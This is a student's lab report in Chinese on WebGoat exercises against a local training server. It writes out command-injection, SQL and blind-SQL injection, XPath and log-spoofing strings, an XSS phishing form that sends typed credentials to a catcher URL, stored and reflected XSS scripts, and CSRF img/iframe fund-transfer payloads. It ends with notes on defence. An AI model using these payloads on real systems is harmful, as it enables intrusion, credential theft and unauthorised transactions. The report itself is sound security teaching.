Exp9 Web安全基礎 ————20164316張子遙

1、實驗內容

  • 本實踐的目標理解經常使用網絡攻擊技術的基本原理。
  • 作很多於7個題目,包括SQL,XSS,CSRF。
  • Webgoat實踐下相關實驗。

2、實驗具體步驟

(一)環境配置

1.安裝WebGoatjavascript

從學長博客的雲盤裏下載了WebGoat,輸入命令java -jar webgoat-container-7.1-exec.jar運行WebGoatjava

 

2.而後在瀏覽器中打開http://localhost:8080/WebGoat進入登陸界面:linux

3.而後發現並無左邊的課程之類的。詢問了同窗發現是JDK的問題,須要下載版本低一點的JDK。如下是JDK安裝過程git

(1)將下載好的JDK包提取出來,開始拷貝目錄 ,手動安裝 (注意文件夾名根據本身的實際狀況來設定)程序員

sudo mkdir -p /usr/local/java
cp -r jdk-8u11-linux-x64/ /usr/local/java/

(2)配置JDK的環境變量輸入命令 sudo gedit /etc/profile ,複製如下內容追加到文件末尾(注意文件夾名根據本身的實際狀況來設定)web

JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin 
export JAVA_HOME 
export PATH

 

(3)告訴系統JDK的位置,並設置新的JDK爲默認。(命令須要輸兩次,執行兩次)sql

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1

sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1

sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1

sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java

sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java

sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac

sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac

sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws

sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws

 

(4)重載Profile文件,輸入命令 java -version 查看Java版本號瀏覽器

(5)成功訪問webgoat安全

 

(二)SQL注入攻擊

1.命令注入(Command Injection)

原理:在正常的參數提交過程當中,添加惡意的代碼,從而得到一些信息。服務器

(1)右鍵表單選擇框的下拉框,選擇Inspect Element(Q),而後修改源代碼,在任意位置加上 & netstat -an & ipconfig 

(2)點擊網頁中的 view 按鈕,就能在網頁下面看到系統的網絡鏈接狀況了

2.數字型SQL注入(Numeric SQL Injection)

原理大概就是這裏有一個SQL語句 SELECT * FROM weather_data WHERE station = [station] ,能夠攔截報文將station字段後補充成一個永真式101 OR 1=1。

(1)右鍵網頁,點擊inspect Element,查看並編輯網頁源代碼,在option value中加入恆等真式or 1=1

(2)因爲1=1恆成立,點擊go,看到全部城市的天氣,成功。

 3.Log Spoofing

日誌僞造,目的是經過注入惡意字符串,按照規則僞造出一條日誌。

(1)在Username輸入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a爲CRLF換行符

(2)點擊login in就能夠看到成功啦

4.XPATH Injection

意思大概是你的帳號是Mike/test123,目標是嘗試查看其餘員工的數據,經過嘗試構造永真式來實現。

(1)在User Name中輸入永真式 4316zzy ' or 1=1 or 'a' ='a 

(2)點擊submit就能夠看到全部員工的數據了

 

5.LAB: SQL Injection之String SQL Injection

原理:應用程序會將您的輸入帶入後臺的 SQL 查詢語句,使用SQL注入繞過認證。

(1)因爲密碼的長度有限制,因此咱們先修改密碼輸入框的容許輸入長度。將maxlength設置爲25甚至更大。

(2)就能夠以admin的身份登陸,密碼框裏輸入 ' or 1=1 -- ,而後就能成功以John的身份登陸成功。能夠查看任意用戶的信息等等。

6.LAB: SQL Injection之Numeric SQL Injection

繞過認證執行SQL注入,使登陸Larry帳戶,可是能查看Boss的信息。和以前的想法同樣,咱們只需將employee_id參數修改成: 101 or 1=1 order by salary desc 

 

7.Blind Numeric SQL Injection

數字盲注,有些時候存在SQL注入,可是獲取不到咱們須要的信息,此時能夠經過SQL語句的條件判斷,進行盲注。

(1)使用盲注進行爆破,在「Enter your Account Number」輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

(2)若是頁面提示賬號有效,說明 PIN>10000 不然PIN<=10000。不斷調整數值,能夠縮小判斷範圍,並最終判斷出 PIN 數值的大小。

(3)最終以下語句返回賬號有效:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

8.Blind String SQL Injection

使用盲注進行爆破,在「Enter your Account Number」輸入

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

根據返回的提示來判斷name的範圍,直至返回成功,而後把Jill輸入表單,提交,以下圖所示:

 

 

 (三)Cross-Site Scripting (XSS)

1.Phishing with XSS

(1)使用XSS和HTML插入製做一個釣魚網站,代碼以下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

(2)點擊search後,下拉網頁就能夠看到輸入框了,在裏面輸入任意字符,點擊login,就能夠看到攻擊成功了

 

2.Stored XSS Attacks

最典型的儲存型XSS的例子——留言板,由於能夠輸入任何信息,若是有人進行了惡意留言,那麼以後的人便會中招。

(1)在Title裏輸入「Test Stored XSS」,在 Message裏輸入

<script>alert("20164316zzy!");</script>

(2)點擊生成的留言板就能攻擊成功。

3.Reflected XSS Attacks

(1)在Enter your three digit access code中輸入以下代碼: <script>alert('20164316zhangziyao attack!')</script> 。
(2) 點擊Purchase,成功顯示警告框,內容爲咱們script腳本寫的20164316zhangziyao attack!。攻擊成功。

(四)CSRF

1.Cross Site Request Forgery(CSRF)

實驗目標:向新聞組發送一封email。這個email包含一個image,其URL指向一個惡意請求。

(1)在Title輸入:4316zzy,在Message輸入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />

(2)點擊「Submit」,在Message List下出現一條提交的記錄,點擊該連接,當前頁面就會下載這個消息並顯示出來。

 

2.CSRF Prompt By-Pass

 (1)在Title輸入:20164316zzy;在Message輸入:

<iframe
    src="attack?Screen=280&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

(2)點擊「Submit」,在Message List下出現一條提交的記錄,點擊該連接

 


 

 3、實踐基礎問答

(1)SQL注入攻擊原理,如何防護

  • 原理:
    程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,攻擊者利用SQL命令欺騙服務器執行惡意的SQL命令,得到某些他想得知的數據。
  • 防護:
    就像咱們上次作實驗對網頁登錄的帳戶作了密碼長度的限制,能夠限制輸入的長度、檢查輸入變量的數據類型,限制特殊字符的輸入,把用戶輸入的or, –,';等關鍵字和特殊字符都過濾了,或者用語言內建的安全機制(好比說 JDBC 的PreparedStatement就能夠很大程度的防止 SQL 注入)

(2)XSS攻擊的原理,如何防護

  • 原理:
    XSS攻擊全稱跨站腳本攻擊,也因爲沒有對用戶輸入數據的合法性進行判斷,攻擊者在網頁上插入惡意代碼,攻擊用戶。
  • 防護:
    與防護SQL注入同樣,能夠經過檢查用戶的輸入字符串,並作出限制。

(3)CSRF攻擊原理,如何防護

  • 原理:
    跨站請求僞造,攻擊者經過僞造身份等方式來達到一些非法目的,以你的名義來發送惡意請求。
  • 防護:
    使用驗證碼,表單中附加隨機值,以此來防止冒充。

 


 

4、實踐總結與體會

  這是最後一次實驗了,經過webgoat深刻理解並運用了多種攻擊,嘗試了不少東西,能夠說是很是有意思了,固然也碰到了不少問題,可是發現沉下心來認真解決仍是頗有成就感的!雖然有一些浪費時間...總的來講,這門課我收穫良多,雖然也許在現實中並不能成功攻擊他人,可是可以認識而且作出相應的防範了。學習到了很多的東西,也進行了屢次的實踐與嘗試。

相關文章
相關標籤/搜索